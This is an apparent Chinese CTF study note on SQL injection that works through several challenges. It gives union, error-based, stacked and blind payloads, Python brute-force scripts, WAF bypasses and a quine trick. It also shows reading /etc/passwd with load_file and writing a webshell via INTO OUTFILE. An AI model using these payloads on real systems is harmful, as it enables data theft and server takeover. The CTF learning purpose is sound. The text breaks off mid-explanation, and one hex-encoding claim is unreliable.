sql注入进阶初级


事情起因是学长除了盲注加waf,我没有做出来,所以来补一下sql的很多相关知识
这也知识初步,因为,很多是第一次遇见,我没有自己手搓,没有自己手写脚本,等后面再学一次,自己手搓,不看wp来自己做一下。这样才能找到问题
借助大量的题目,一是方便理解,二是能够更好地在比赛中借助笔记解决出来问题,还有就是回顾一些赛题和融汇贯通sql注入的各类思想

最常规

这里的最常规是指没waf,注入手法是最经典的注入。这里很多较为复杂的其他情况我们先不考虑
例题:[SWPUCTF 2021 新生赛]easy_sql
首先进去告诉你了参数wllm

1
?wllm=1

回显:Your Login name:xxx
Your Password:yyy
各人这里推荐先测试闭合符。数字型就不用管闭合符了,但是这种情况遇到的比较少,同时很多时候会将空格给过滤了,你一来就1 and 1=2,那你怎么知道是过滤了空格还是and等等

1
?wllm=1'

回显:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
就是一个报错
我们接下来测试注释符号,有很多种,–+,%23,#
推荐使用后面两个

1
?wllm=1'%23

又开始了正常回显

1
?wllm=1' order by 4%23

3正常,4报错
得知共有三列,第一列是数字123456等等,二三列不知
接下来我们将1改为-1,有些时候得是0,这样才能够正常回显
以及我们在这里需要简单测试一下我们的回显位置,1,2,3哪个改为我们的database()才能拿到结果

1
?wllm=-1' union select 1,2,3%23

回显:Your Login name:2
Your Password:3
这里我们得知2,3都是可以的
3改为database()

1
?wllm=-1' union select 1,2,database()%23

回显:Your Login name:2
Your Password:test_db
数据库名为:test_db
当然,前面的是最简单的一种情况,因为可能flag不在当前的数据库里面,我们有时候需要得到所有的数据库名

1
?wllm=0'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

回显:Your Login name:information_schema,mysql,performance_schema,test,test_db
information_schema.schemata 是 information_schema 下的一个表,用于列出当前数据库服务器上所有的数据库(schema)名称
接下来就是我们的表名

1
?wllm=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

这里加上group_concat,就会回显两个表,没有加上就回显一个表
这里回顾一下几个函数的用法
group_concat:用于一次性输出多个字段或多行数据
table_name:表名
information_schema.tables:包含所有mysql数据库的简要信息,包含两个数据表:tables表名集合表,columns列名集合表
table_schema:table_schema 在 SQL 注入中常用于 筛选特定数据库中的表或字段,它是 information_schema 数据库中 tables 和 columns 表里的一个字段,表示某个表或字段所属的数据库名
回显:Your Password:test_tb,users
接下来就是列名以及拿到flag了

1
?wllm=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+

这里的’test_db’换为database()也是一样的回显
因为你已经限制表的名字了,还管库的嘛

1
?wllm=-2' union select 1,2,group_concat(id,flag) from test_tb--+

最后这个拿到flag
写到这里,算是搞懂了以前很多模糊不清的东西,后面的也是。是一种融汇贯通,也是弄清楚很多基础的东西,更是一种回顾题目,最后就是一个进阶

稍微进阶

[SWPUCTF 2021 新生赛]sql
空格绕过关键字绕过SQL注入
第一步的输入正常参数:?wllm=1
回显:Your Login name:xxx
Your Password:yyy
我们在这里开始尝试,就像上面说的,我们先开始测试闭合符等等,这样的话不测试空格和and比较方便让我们来得知是过滤了什么
?wllm=1’%23
先报错,后正常回显。得知闭合符和我们的注释符
我们这里试着来group by和order by发现这里都不行,应该是有一个过滤空格的
这个符号来替换呗过滤掉了的空格

1
/**/

?wllm=1’order//by//4%23
4开始报错,3没有问题
or应该是也没有过滤的

1
?wllm=-1'union/**/select/**/1,2,3%23

第二个空格不可以少,我们这样就穿过了一个waf了,得到正常回显
Your Login name:2
Your Password:3
3换成database()得到正常回显的数据库test_db
后面就还有一个waf就是我们=号
等于号换成我们的like,这一点我不是很熟悉,稍微多注意一些

1
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'test_db'%23

回显:LTLT_flag,users
这个我就看到一个东西,也就是我们上面的一个细节,我已经拿到表名了,我在查列的时候就不要再加上我们的库名了

1
?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

拿到列名:id,flag
这道题我刚才测试了一下,就是过滤了and
我试着饶一下
And 和or 过滤绕过:
1.使用大小写绕过anD
2.复写过滤绕过:?Id=1 ‘anandd 1=1 –+
3.用&&取代and,用||取代or
可以用%26代替&

1
?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/%26%26/**/table_name/**/like/**/'LTLT_flag'%23

所以这个也可以拿到列名
最后来拿到flag,这个最后只是拿到一部分的flag

1
?wllm=-2'/**/union/**/select/**/1,2,group_concat(id,flag)/**/from/**/LTLT_flag%23

使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
mid截取,因为回显只能有20个,所以20,一组截取

1
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23

需要读三组,最后拿到flag

[SWPUCTF 2022 新生赛]ez_sql

这个也是过滤空格和双写一个or就可以了

[suctf 2019]EasySQL

这是一个堆叠注入的题目,原来我早早就遇见过了堆叠注入了
这个不是最常规的堆叠注入的题目
可以看源码知道是post传参,还有抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: node4.anna.nssctf.cn:28261
Content-Length: 7
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node4.anna.nssctf.cn:28261
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28261/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=43078005e206d1ec15953d666b771005
Connection: close

query=1

知道,我们传入的参数1是前面有一个query的就可以了
输入1有正常回显,但是我们输入1 or 1=1回显nonono
这里是有很强的暗示性的,不回显那基本就是错了,nonono一般就是有waf
我们进行抓包,可以利用关键字进行爆破,可以知道它过滤了什么
我本地长度是510的,就是和or长度一样的,就是被过滤的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
4	handler	200	false	false	510	
5 like 200 false false 510
6 LiKe 200 false false 510
9 sleep 200 false false 510
10 SLEEp 200 false false 510
13 delete 200 false false 510
15 or 200 false false 510
16 oR 200 false false 510
27 insert 200 false false 510
28 insERT 200 false false 510
29 INSERT 200 false false 510
33 INFORMATION 200 false false 510
39 xor 200 false false 510
48 AND 200 false false 510
49 ANd 200 false false 510
57 CREATE 200 false false 510
63 " 200 false false 510
75 union 200 false false 510
76 UNIon 200 false false 510
77 UNION 200 false false 510
78 " 200 false false 510
79 & 200 false false 510
80 && 200 false false 510
82 oorr 200 false false 510
88 anandd 200 false false 510
91 IF 200 false false 510
97 sleep 200 false false 510
98 LIKE 200 false false 510
105 infromation_schema 200 false false 510
107 OR 200 false false 510
108 ORDER 200 false false 510
109 ORD 200 false false 510
115 UNION 200 false false 510
116 UPDATE 200 false false 510
122 WHERE 200 false false 510
124 AND 200 false false 510
125 prepare 200 false false 510
127 update 200 false false 510
128 delete 200 false false 510
129 drop 200 false false 510
136 CREATE 200 false false 510
140 DELETE 200 false false 510
141 DROP 200 false false 510
142 floor 200 false false 510
143 rand() 200 false false 510
144 information_schema.tables 200 false false 510
150 ORD 200 false false 510
152 extractvalue 200 false false 510
153 order 200 false false 510
156 ORDER 200 false false 510
157 OUTFILE 200 false false 510
163 updatexml 200 false false 510
171 format 200 false false 510
174 ord 200 false false 510
176 UPDATE 200 false false 510
181 WHERE 200 false false 510
191 for 200 false false 510
192 BEFORE 200 false false 510
193 REGEXP 200 false false 510
194 RLIKE 200 false false 510
197 SEPARATOR 200 false false 510
198 XOR 200 false false 510
199 CURSOR 200 false false 510
200 FLOOR 200 false false 510
205 from 200 false false 510
213 %22 200 false false 510

有from,update呀等等
由此观之,报错注入,union联合注入,盲注皆不可行,所以我们尝试进行堆叠注入
不是题目直接告诉你用堆叠注入的话,我们应该先试着来看看过滤了什么,再考虑用什么方式来注入
开始试探:这里我就不试探了
爆库:

1
1; show databases;

中间空格无所谓
回显:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
爆表:1;show tables;
回显:Array ( [0] => 1 ) Array ( [0] => Flag )
输入1有回显,输入0没有回显,abc输入也没有回显
回显的结果:Array ( [0] => 1 )
只有这个(只是常规注入下哦)
或者没有回显
我们由此可以猜测后端代码含有 ||或运算符。
补充:|| 或or 运算符讲解:

select command1 || command2

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

通过以上分析,我们可以判断后端代码中存在或运算符。

查看本题的后端代码,事实与我们的判断相吻合。

$sql = “select “.$post[‘query’].”||flag from Flag”;
预期解法

1
2
3
4
5
6
7
8
9
方法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数。

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

select 1 || flag from Flag的意思将变成 先查询1 再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了。

所以查询语句如下:

1;set sql_mode=PIPES_AS_CONCAT;select 1

最后就可以拿到flag了

[SWPUCTF 2021 新生赛]error

报错注入SQL注入布尔盲注
这里告诉你了,要用报错注入,这里我们就思考一个问题,什么情况下要用,为什么要用
这里我们先常规注入,这里先1’#
得到了闭合符和注释符
分别输入1’ order by 3#和1’ order by 4#判断列数为3
注意这里,我们在1’ order by 3#
回显:id:1’ order by 3#
没有提示………..
开始注入
1’ union select 1,2,3#

id:1’ union select 1,2,3#
没有提示………..
我们这里的是没有回显的,加上刚才我们前面的1’–+这些测试,都可以大概知道了,这道题目要用报错注入
查库名:

1
-1'and(select extractvalue(1,concat('~',(select database()))))#

查表名:

1
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#

列名:

1
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#

flag

1
2
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#

这里用union select也是可以的
我展示一下用法,具体思路除了一点点函数不同其他基本和常规注入是一样的
爆库:XPATH syntax error: ‘~test_db’
这里也可以爆一下所有的数据库名

1
-1'union select(select extractvalue(1,concat('~',(select database()))))#

就是将and改为union select就可以的
还有就是这里的substr也可以换成mid的

注意一下这个的格式
还可以这个格式

1
-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(id,‘~’,flag) from test_tb)))#

还可以用另外一个函数:

1
2
3
4
5
6
7
1' order by 4--+#爆字段
1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库
test_db
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb',0x7e limit 0,1),3)--+#爆列
1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag
#用mid或reverse函数都可以提取完整flag

上面是人家的wp,要稍微做一些修改

1
-1' and updatexml(1,concat(0x7e,database(),0x7e),3)#

这个就爆库成功了

[LitCTF 2023]这是什么?SQL !注一下 !

1分
SQL注入布尔盲注时间盲注
题目描述

为了安全起见多带了几个套罢了o(////▽////)q
出题人 探姬
就是闭合符多了几个,flag放在其他的数据库里,把所有数据库都爆出来就可以了
但是我还是要手动注入一下,还有就是wp里给出了其他的解法,写入木马的,确实值得学习一下
我们可以get传参,先输入一个1,2来试试

1
SELECT username,password FROM users WHERE id = ((((((1))))))

这里知道它的闭合符号方面的问题

1
?id=1))))))group by 2%23

2有回显,3没有回显

1
?id=-1))))))union select 1,database()%23

回显:ctf
这个就用到了我们之前也强调过的,可能flag不在当前的数据库里面,需要我们先找一下所有的数据库

1
?id=-1))))))union select 1,group_concat(schema_name) from information_schema.schemata%23

这样就回显了所有的数据库的名称:information_schema,mysql,ctftraining,performance_schema,test,ctf
爆表

1
?id=-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23

回显: flag,news,users
得到两个表
就两列,所有爆列

1
?id=-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'%23

回显:flag
拿到flag

1
?id=-1))))))union select 1,group_concat(flag) from flag%23
1
?id=-1)))))) union select flag,2 from flag where table_schema='ctftraining'%23

这里拿不到flag

1
2
经过测试,发现了table_schema只是内置库的字段,我们这里指定数据库查询应该用:库名.表名的形式
?id=-1)))))) union select flag,2 from ctftraining.flag%23

来拿到flag
这里还有一种getshell的方式,这个就先看看
mysql的getshell的条件和原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
条件:
root权限
知道网站根目录绝对路径
secure_file_priv为空或指定目录(@@secure_file_priv参数可以其值)
gpc关闭
原理:
写入webshell,通过参数执行系统命令,结束后删除webshell


附:sqlserver getshell条件和原理
条件:
支持外连
有sa权限
原理:
开启xp_cmd扩展执行系统命令

读写文件:?id=-1)))))) union select load_file(‘/etc/passwd’),2%23
读取nginx配置文件,寻找网站根目录:
?id=-1)))))) union select load_file(‘/etc/nginx/nginx.conf’),2%23
Array ( [0] => Array ( [username] => daemon off; worker_processes auto; error_log /var/log/nginx/error.log warn; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; root /var/www/html; index index.php; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { try_files $uri $uri/ /index.php?$args; } location ~ .php$ { try_files $uri =404; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } } [password] => 2 ) )
读取首页
?id=-1)))))) union select load_file(‘/var/www/html/index.php’),2%23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Array
(
[0] => Array
(
[username] => <?php
error_reporting(0);
include "connect.php";
?>
<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
<title>狠狠的注入涅~</title>
<link rel="stylesheet" href="assets/bootstrap/css/bootstrap.min.css">
<link rel="stylesheet"
href="https://fonts.googleapis.com/css?family=Lato:300,400,700,300italic,400italic,700italic&amp;display=swap">
</head>

<body>
<header class="text-center text-white masthead"
style="background:url('https://www.dmoe.cc/random.php')no-repeat center center;background-size:cover;">
<div class="overlay"></div>
<div class="container">
<div class="row">
<div class="col-xl-9 mx-auto position-relative">
<h1 class="mb-5">Search what you want to search</h1>
</div>
<div class="col-md-10 col-lg-8 col-xl-7 mx-auto position-relative">
<form method="get" action="">
<div class="row">
<div class="col-12 col-md-9 mb-2 mb-md-0">
<input class="form-control form-control-lg" type="text" name="id"
placeholder="Enter your id to start">
</div>
<div class="col-12 col-md-3">
<button class="btn btn-primary btn-lg" type="submit">姨妈大!</button>
</div>
</div>
</form>

</div>
</div>
</div>
</header>



<section class="text-center bg-light features-icons">
<div class="container">
<div class="row">
<div class="col-md-6">
<h5>Key Source</h5>
<pre><?php highlight_file(source) ?></pre>
</div>
<div class="col-md-6">
<?php

$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
echo "<h5>Executed Operations:</h5>"
.$sql
."<br><br>";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
print_r(mysqli_fetch_all($result, MYSQLI_ASSOC));
} else {
echo "0 results";
}
?>
</div>
</div>
</div>
</section>



<section class="showcase">
<div class="container-fluid p-0">
<div class="row g-0"></div>
</div>
</section>
<script src="assets/bootstrap/js/bootstrap.min.js"></script>
</body>

</html>



[password] => 2
)

)

写入php探针:
?id=-1)))))) union select ‘‘,2 into outfile ‘/var/www/html/info.php’%23
http://node6.anna.nssctf.cn:28413/info.php
写入webshell
?id=-1)))))) union select ‘‘,2 into outfile ‘/var/www/html/cc.php’%23
蚁剑连接:http://node6.anna.nssctf.cn:28413/cc.php 密码cc

[强网杯 2019]随便注

1分
堆叠注入关键字绕过SQL注入
题目暗示你了是sql注入,还有就是源码告诉你sqlmap是没有灵魂的,知道考察的方面
这里我们的1’;或者1’#的这个可以得到闭合符
因为要堆叠注入,所以我们就要用;
1’;show tables;
使用mysql的show命令可以查看数据库,表,字段等信息
这个可以爆库,也是第一次见这种情况

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

有两个表
使用show命令来查看表中的字段,注意表名要用反引号包裹,payload

1
0';show columns from `1919810931114514`;

words也可以用这个,查words也是用反引号
回显:
array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string(0) “”
[4]=>
NULL
[5]=>
string(0) “”
}
后面的还可以再加一个–a,应该是起注释作用
使用handler查看表中的数据,需要注意的是,表名如果是数字,则需要用反引号包裹起来

1
0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a

handler语句不具有select语句的所有功能。他是mysql专用的语句,并没有包含到标准的sql语句中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name CLOSE

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名

handler yunensec read first; #读取指定表/句柄的首行数据

handler yunensec read next; #读取指定表/句柄的下一行数据

handler yunensec read next; #读取指定表/句柄的下一行数据



handler yunensec close; #关闭句柄

1’;
handler tablename open;
handler tablename read first #

补充一下其他的做法,这道题还得是做一下相关的题目才可以慢慢熟悉一下
由show的作用可知,words表内就两个字段,一个叫id,一个叫data。

并且可以得知,该题作者在页面就查了这两个字段的内容,由于该题禁用select,因此我们可以用作者原本设定的查表函数来帮我们查我们想要查找的内容。因此我们对表进行改名:

用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data。

构造payload如下

1
2
http://4a74d507-bd81-4639-8579-82aebaf359cb.node4.buuoj.cn:81/?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

补充一下alter

1
2
3
4
5
6
7
//alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名

[CISCN 2019华北Day2]Web1

1分
布尔盲注SQL注入空格绕过
Ok呀,也是遇到一个大一些的比赛的盲注了
一进去

1
2
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

这里是有些问题,返回的bool(false)不显示,但是刚才我记得显示的
不显示,需要查看网页源代码的话我们就打开Bp呗
我们测试1,回显正常
闭合符,1’返回布尔类型错误
1’#发现这个有waf
这里我们可以用字典来看看过滤了什么,为了思路更加的清晰,这里就按照wp给的参考一下,本地已实际跑了
经过一番测试,发现or、-、#、;、and、空格、updatexml、union等很多关键字都被过滤了
这就说明联合查询、报错注入以及堆叠注入都不能使用了
经过上述测试,也就说明就剩下时间盲注和布尔盲注可以尝试了
先测试时间盲注,我们这里的flag的第一个字符就是f,对应的ascii就是102

1
id=if((ascii(substr((select(flag)from(flag)),1,1))=102),sleep(3),1)

输入错误的ascii码发现。上面的回显需要的时间是上面的两倍

1
id=if((ascii(substr((select(flag)from(flag)),1,1))=103),sleep(3),1)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time

url = 'http://d9cdff35-454b-4b10-adba-51f0130200ae.node5.buuoj.cn:81/index.php'

for i in range(1, 60):
for c in range(0, 127):
payload = '(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))=' + str(c) + ')'
r = requests.post(url, data={'id': payload})
time.sleep(0.005)
if 'girlfriend' in str(r.content):
flag = chr(c)
print(flag, end='')
time.sleep(2)
break

这个就可以拿到flag

[第五空间 2021]yet_another_mysql_injection

1分
SQL注入quine注入布尔盲注
登陆进去http://node4.anna.nssctf.cn:28213/index.php
然后我们查看网页源代码,然后得知有?source
访问:http://node4.anna.nssctf.cn:28213/?source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

通过这段代码可以知道,我们需要传入username和password两个值,然后在经过password检验的时候会到达checkSql函数,而且这个函数过滤掉了大部分常用的sql注入关键词
关键

1
2
3
\$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

所以我们的目的就是找到admin对应的password

虽然checkSql已经过滤掉了大部分的关键词,但是like /**/ ‘ %都没有被过滤,可以编写脚本爆破密码 ,我这里直接找了一个师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string
import time
url="http://node4.anna.nssctf.cn:28213/index.php"
flag=""
for a in range(1,50):
for i in string.printable:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
rsp=requests.post(url,data=data)
time.sleep(0.1)
if "something wrong" not in rsp.text:
flag+=i
print(flag)
break

本题考察的是quine方法
quine方法

Quine 方法是一种用于绕过基于白名单(whitelist)的 SQL 注入防御措施的技术方法。白名单是一种更安全的防御措施,它会检查用户输入中是否包含一些特定的字符或字符串,并只允许这些字符或字符串被用于查询。这样可以防止一些恶意的操作和语句被执行。
Quine 方法是通过构造一些特殊的查询语句来绕过这种白名单防御措施。例如,在执行查询时,攻击者可以构造以下语句来绕过白名单:

1
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 0x2575716572795f646574656374

在这个语句中,攻击者使用了 HEX 编码来表示 LIKE 运算符右侧的字符串,这个字符串实际上是 “unique_detect” 的 HEX 编码。由于白名单只允许使用特定的字符或字符串,而不允许使用特定的运算符或操作,因此攻击者可以使用这种方法来绕过白名单的限制,从而执行恶意的操作。
还有一种方式就是我们可以尝试扫目录,然后有/phpmyadmin路由
然后admin和admin进去,里面有密码,最后拿到flag
这里我试了发现我一开始可以,后面又不可以了
这里有一个脚本来测试密码,直接来拿到我们的密码,但是有一个小的细节需要我们来注意
就是你尝试登陆了一次,http://node4.anna.nssctf.cn:28758/会变成http://node4.anna.nssctf.cn:28758/index.php.但是在脚本里,http://node4.anna.nssctf.cn:28758/index.php这个跑步出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://node4.anna.nssctf.cn:28758/"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

这个脚本是利用有的关键的地方没有过滤达到的,不是比较经典这种题目的做法

方法三:也是就quine注入的解法

这里有一个大佬写的文章,可以参考一下:https://www.anquanke.com/post/id/253570
其实如果直接看这道题其实给出了所使用的sql语句,在语句中给出了表user,包括黑名单也在checkSql中都已经给出了,那么按理看这不是一个困难的注入,可以当成一个简单的盲注。通过使用like替换=,benchmark(或者其他笛卡儿积等)替换sleep,mid替换substr,/**/替换Space,使用如下paload即可完成:

1
union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)#

但是很遗憾,这样注出来user表中没有密码。

如果仔细看题目中这个比较判断的逻辑,我们就可以发现端倪。

1
2
3
4
5
6
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

if ($row['password'] === $password) {
die($FLAG);

简单来看,要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine
从payload来理解quine
示例payload:

1
union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

这样看起来不是很清楚,我们接下来从内层一步一步拆开看。
从大结构上,这段payload是由两个大REPLACE完成的

1
2
REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement

内层payload:

1
REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))

我们暂且把它当作A,这里面有一个字符串
“//union//SELECT//REPLACE(REPLACE(“.”,CHAR(34),CHAR(39)),CHAR(46),”.”)//AS/**/ch3ns1r#
我们暂且把它当作B。
简化一下最初的payload就是这个样子:

1
2
3
4
5
union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#
其中:
A:REPLACE(B,CHAR(34),CHAR(39))
B:
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
到这里应该就看的比较清楚了,有点像套娃。A这个形式就是Quine的基本形式,可以描述为如下形式:

REPLACE(str,编码的间隔符,str)

str可描述为如下形式:

REPLACE(间隔符,编码的间隔符,间隔符)

这样运算后,最后的结果又是:

REPLACE(str,编码的间隔符,str)

我们举个例子加深理解,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(".",CHAR(46),".")

放入最后的语句为:

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

执行的结果为(先执行的CHAR(46)):

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

(注意以上的语句还没有考虑存在单双引号的情况)

这样就达到了输入与输出一致的效果。

从单双引号来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 从解决单双引号理解Quine

细心点的话就会发现,这里还存在单双引号的问题,我们重新考虑存在单双引号的情况。

Quine的基本形式:

REPLACE('str',编码的间隔符,'str')

str描述为如下形式:

REPLACE("间隔符",编码的间隔符,"间隔符")

这里str中的间隔符使用双引号的原因是,str已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。

运算后的结果是:

REPLACE("str",编码的间隔符,"str")

但是我们希望str仍然使用单引号包裹,怎么办?

我们这样考虑,如果先使用REPLACE将str的双引号换成单引号,这样最后就不会出现引号不一致的情况了。

Quine的升级版基本形式:

